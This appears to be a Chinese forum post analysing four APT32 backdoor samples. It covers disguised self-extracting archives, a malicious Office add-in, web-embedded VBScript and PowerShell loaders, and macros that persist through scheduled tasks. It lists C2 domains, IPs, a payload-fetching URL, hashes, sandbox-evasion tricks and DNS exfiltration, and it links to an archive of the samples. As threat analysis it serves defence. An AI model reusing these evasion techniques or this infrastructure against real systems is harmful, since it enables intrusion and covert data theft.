很久前分析的APT32组织相关的样本,稍微整理下分析相关的材料(包括IDA7.0的idb文件、提取的宏文件、解混淆后的宏文件、调试shellcode代码),发出来给朋友们参考参考。希望能大家一点点帮助!
链接: https://pan.baidu.com/s/1OYGdZ9jbH_65LTwDtpiczQ 提取码: ak4q
2.2.4 分析{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx
2.2.5 分析{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll
5.2.4 Log_Error.jpg(DllMain.dll)分析
样本MD5 | c967c99321c1d69c108729e377502395 |
样本名 | 2019年加薪及任命决定征求意见表.exe |
样本文件大小 | 1.37 MB (1,442,032 字节) |
样本类型 | 后门 |
样本描述 | 伪装为WORD文档的exe后门程序 |
分析时间 | 2018年12月 |
此病毒是伪装成word文档的winrar自解压文件,包含Ms Word ~tmp.docx文件和{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx文件。通过winrar自解压命令行参数,调用regsvr32.exe(系统自带的控件注册程序)进程来加载恶意模块{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx ,并在内存中自加载后门模块{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll、未命名.dll,加载完成后与C2建立连接,接收C2端的控制指令。
1、用户运行伪装成word文档的winrar自解压文件。
2、调用regsvr32.exe加载{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx恶意控件。
3、{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx在内存中执行保存在自身data段的shellcode代码。
4、shellcode代码在内存中执行{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll后门模块。
5、连接控制服务端。
6、收集主机信息发送到服务端,等待接收控制指令
通过设置标志注册表键,{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx恶意模块执行两次才会执行核心恶意代码,而沙箱一般只会执行一次被检测样本,从而达到逃避沙箱检测的目的。
l 标志注册表键:[HKEY_CURRENT_USER\Software\Classes\CLSID\{E08A0F4B-1F65-4D4D-9A09-BD4625B9C5A1}\Model = dword:00126ff1]
l 打开注册表键:
l 判断标志注册表键否存在,存在则执行下一步恶意代码。
l 设置超长的随机延时(此次为61秒),用于躲避沙箱的检测
{ea6376aa-d84c-4e81-8fdc-5dc4dc443ccb}.ocx会加载执行保存在文件资源中的shellcode代码。此shellcode代码执行后,将自加载shellcode中存储的一个名为{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll模块,接着执行此dll的导出函数DllEntry。
下图为资源文件中保存的未加密的shellcode代码。shellcode代码被加载后,将从首部E8开始执行,E8为汇编指令call(函数调用)的硬编码。
{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll为木马的核心功能模块。包括C2的通讯、系统信息采集、文件操作、进程操作、注册表操作等功能的实现代码都保存在此模块之中。该dll的DllEntry(入口函数)执行后,将从文件资源中解密出木马的c2等配置信息及1个通信相关的dll。通信dll导出一个”CreateInstance”函数。
l 内存中提取的{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll模块
l 文件资源中解密出木马的c2等配置信息及1个通信相关的dll
密钥字符串 | UNICODE"ghijklmnopz" |
C2 | UNICODE"karelbecker.com" |
C2 | UNICODE"becreybour.com" |
C2 | UNICODE"beaudrysang.xyz" |
l 资源数据如下图所示:
l 在0x10000000内存中处加载名称为空的通信dll模块。
l 内存中提取的名称为空的通信dll。
l 获取主机名。
l 主机名加密后得到"770069006e002d006f007000680076006c00630032006400370065006f00.2365a345"字符串。
l 加密使用的密钥字符串。
l 通过以下域名生成算法对主机名加密后的字符串计算,得到域名前半部分字符串。
域名:"nnggmpggmeggidggmfggngggmoggnmggmcggmjggjiggmkggjnggmlggmfgg.ijmlajkl"
随后后门程序对资源中的保存的3个C2域名进行可用性效验,取出其中可用的域名与主机名加密得到的字符串合并后得到"nnggmpggmeggidggmfggngggmoggnmggmcggmjggjiggmkggjnggmlggmfgg.ijmlajkl.karelbecker.com",并通过GetAddrInfoW获取到C2的IP 216.107.152.223、端口号为443,随后与C2建立通信连接,等待接收C2传输控制指令。
值得关注的是攻击者使用了泛域名解析技术,"nnggmpggmeggidggmfggngggmoggnmggmcggmjggjiggmkggjnggmlggmfgg.ijmlajkl.karelbecker.com"标红的域名部分任意修改都可解析到正确的C2 IP,通过此法可通过DNS协议传输数据给C2端,可有效躲避安全防护产品的检测。
l 创建目录、删除目录
l 文件搜索、读写、创建、删除文件等操作
l 获取系统版本信息、主机名、用户名
l 注册表读写操作
nnggmpggmeggidggmfggngggmoggnmggmcggmjggjiggmkggjnggmlggmfgg.ijmlajkl.karelbecker.com
karelbecker.com
becreybour.com
beaudrysang.xyz
216.107.152.223
c967c99321c1d69c108729e377502395(2019年加薪及任命决定征求意见表.exe)
559405733d119eeab1d8a71ef8b63941({A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll)
3b1f7fab2883534cac59b9b93469b372 (empty.dll)
样本MD5 | a7c52919f1bec7db77645a95ce5e16ce |
样本名 | 2018年工作报告提纲2(第四稿.rar |
样本文件大小 | 1.33 MB (1,395,893 字节) |
样本类型 | 后门 |
样本描述 | docx文档诱惑用户安装office插件来加载后门模块。 |
分析时间 | 2018年12月 |
"2018年工作报告提纲2(第四稿).docx"文档被打开将会提示用户安装插件,一旦用户同意安装插件,world会调用在自带的插件安装程序,安装与文档同目录下隐藏文件夹"~tmp52E5 "中的恶意vsto插件,该插件安装后注入WerFault.exe(windows自带错误报告程序)之后通过IP(216.107.152.223)连接服务端,然后收集主机信息发送到服务端,并等待接收控制指令。
1、用户同意安装"Microsoft.Office.Compatible.vsto"插件。
2、"Microsoft.Office.Compatible.vsto"插件加载核心模块"Microsoft.Office.Compatible.dll"。
3、"Microsoft.Office.Compatible.dll"模块注入shellcode代码至WerFault.exe。
4、shellcode代码在内存中执行{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll后门模块。
5、连接控制服务端。
6、收集主机信息发送到服务端,等待接收控制指令。
当用户同意安装office插件后,office会调用"VSTOLoader.dll"模块来安装"~tmp52E5"目录下的"Microsoft.Office.Compatible.vsto"插件,并加载同目录下的核心模块"Microsoft.Office.Compatible.dll"。
保存在"2018年工作报告提纲2(第四稿).docx"文档中base64编码后的shellcode。
通过分析发现此恶意模块"Microsoft.Office.Compatible.dll"由.net语言编写,对"Microsoft.Office.Compatible.dll"模块使用dnSpy反编译后发现代码已被混淆,用于干扰分析人员的分析。最终分析后得出,此模块的主要功能为在内存中执行保存在"2018年工作报告提纲2(第四稿).docx"中ID为"{6B29B565-E966-4A8B-99A0-C91B2427E4CC}"的base64编码的shellcode代码。
l 被混淆的代码:
反混淆后的代码如下:
通过分析此段shellcode中包含的的核心dll模块,发现与"2019年加薪及任命决定征求意见表.exe"中内存加载的"{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll"后门模块为同一个攻击载荷,且dll名称相同、功能大致相同。分析结果参考"2019年加薪及任命决定征求意见表.exe"->"{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll"即可。
niggmfggmfggnkggidggngggmjgg.ijmlajjb.karelbecker.com
216.107.152.223:80
17075d6f68c802e45b72bcf041c9fc38(2018年工作报告提纲2(第四稿).docx)
86599ed6b1a54827a1ae5a9a3397d64b(Microsoft.Office.Compatible.dll)
990814f48851f2af6e72ca587329e78a(2_dump_{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll)
样本MD5 | e1980b785200917166d812fe3203b3ad |
样本名 | 外交新闻汇总第1号 - 2018年10月.zip |
样本文件大小 | 1.75 MB (1,845,890 字节) |
样本类型 | 后门程序 |
样本描述 | 网页嵌入vbscript脚本,通过脚本加载后门程序。 |
分析时间 | 2018年12月 |
此病毒通过网页中嵌入恶意的vbscript脚本,当用户访问被植入恶意代码的网页,则会自动执行vbscript脚本,随后利用powershell在内存中加载后门模块{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll,攻击者便可对操作系统进行远程控制。
1、用户访问被嵌入恶意vbscript脚本的网页"中华人民共和国外交部.html"。
2、通过vbscript脚本执行附加在尾部的经过base64加密的powershell脚本。
3、powershell脚本内存中执行附加在"中华人民共和国外交部.html"尾部的经过base64加密的shellcode代码。
4、shellcode代码在内存中执行{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll后门模块。
5、连接控制服务端。
6、收集主机信息发送到服务端,等待接收控制指令
通过分析"中华人民共和国外交部.html "文件的源代码,在尾部发现攻击者嵌入的恶意vbscript脚本的url及最终被加载的shellcode代码。"中华人民共和国外交部.html"文件通过IE浏览器打开后,将自动从"http://my.lucasbdiblelieu.com/index.html"云端获取vbscript脚本执行。
查看下图的"http://my.lucasbdiblelieu.com/index.html"的源代码可以看出index.html文件只存放vbscript脚本,并未包含其他网页元素,唯一功能为执行网页内包含的vbscript脚本。
此vbscript脚本的主要功能为利用powershell执行附加在vbscript脚本尾部的经过base64加密的powershell脚本。
将加密powershell脚本base64解密后得到下图的powershell脚本,该脚本的核心功能为加载保存在"中华人民共和国外交部.html"源文件尾部的shellcode代码。
通过分析此段shellcode中包含的的核心dll模块,发现与"2019年加薪及任命决定征求意见表.exe"中内存加载的"{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll"后门模块为同一个攻击载荷,且dll名称相同、文件大小一致、功能大致相同。分析结果参考"2019年加薪及任命决定征求意见表.exe"->"{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll"即可。
http://my.lucasbdiblelieu.com/index.html
niggmfggmfggnkggidggngggmjgg.ijmlajkg.karelbecker.com
66.85.157.81
216.107.152.223:80
ebc43096039c511d0e987f2ea5bb862a(中华人民共和国外交部.html)
a4ea9e7a35bfaad316effb00de4cb19a (1_dump_{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll)
样本MD5 | 5b87ef34d174361f35b65c5ee684f1c3 |
样本名 | 2018年工作报告提纲2(第四稿).docx |
样本文件大小 | 917 KB (939,520 字节) |
样本类型 | 后门程序 |
样本描述 | office恶意宏,释放执行dll恶意模块 |
分析时间 | 2018年12月 |
此样本中攻击者利用社会工程学中的"相信权威"技巧来欺骗用户启用office文档中被嵌入的恶意宏。宏代码被执行后将释放伪装成jpg的32位PE文件(dll),并通过创建系统计划任务来使后门程序常驻系统,控制系统。
1、用户受欺骗后启用被嵌入到"2018年9月工作报告修改意见-给刘处.doc"文档中的恶意宏。
2、恶意宏代码释放嵌入到"2018年9月工作报告修改意见-给刘处.doc"文档中的Log_Error.jpg(DllMain.dll)模块。
3、为mobsync.exe创建计划任务来加载Log_Error.jpg(DllMain.dll)模块。
4、连接控制服务端。
5、收集主机信息发送到服务端,等待接收控制指令
通过分析oletools工具olevba.py脚本提取出"2018年9月工作报告修改意见-给刘处.doc"文档中的恶意宏代码,分析结果如下:
l 初始化环境,设置路径、获取系统位数、复制文件。
l 判断操作系统位数,并为释放的恶意模块Log_Error.jpg写注册表项。
l 为恶意模块Log_Error.jpg设置注册表项。
l 将经过Base64加密后的恶意模块解密后释放到"C:\Users\user\AppData\Local\Log_Error.jpg",并将"C:\Users\user\AppData\Roaming\mobsync.exe"文件路径写计划任务项,使恶意模块常驻系统。mobsync.exe执行后将自动加载执行Log_Error.jpg(dll模块)。
l 设置名称为ModSyncs的计划任务,1小时运行一次。
攻击者为欺骗用户,将名称为DllMain.dll的dll模块伪装为 Log_Error.jpg,模块真实名称如下:
名称为ModSyncs的计划任务被触发后,将执行"C:\Users\user\AppData\Roaming\mobsync.exe"文件,mobsync.exe文件会自动加载执行恶意模块Log_Error.jpg(DllMain.dll)。随后执行此dll的导出函数DllGetClassObject,可以从以下代码看出,该模块主要的功能为加载.data段中的shellcode代码到内存中执行。
l Log_Error.jpg(DllMain.dll)中的shellcode被执行后,会自加载shellcode中存储的一个PE文件,并传递命令行参数"A:\Code\Nb2VBS\Request\PostData32.exe -u https://ristineho.com/threex32.png -t 60000"给内存中被加载的PE文件。
l 处理命令行参数
l 循环向服务端请求shellcode数据后,创建线程执行。
l 创建线程执行远程获取到的shellcode代码
https://ristineho.com/threex32.png
198.50.234.111:443
此次分析的这批攻击样本中攻击者使用了大量的高级病毒攻击技术及攻击手法,其中包括office恶意宏、exe伪装word文档、office恶意插件、网页嵌入恶意vbscript脚本、代码混淆、代码加密、DLL模块内存自加载、代码注入、反沙箱、反调试、DNS通信等等技术,侧面说明APT32组织技术储备充足、攻击手法多样。
另外值得关注的是这批样本中的"2018年工作报告提纲2(第四稿.rar "、"2019年加薪及任命决定征求意见表.rar"、"2019年加薪及任命决定征求意见表.zip"这几个样本的攻击手法虽然不一样,但最终的目的都是加载攻击载荷{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll,与C2的建立通信连接,等待接受C2的控制指令。
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 4天前 被暗夜之刃编辑 ,原因: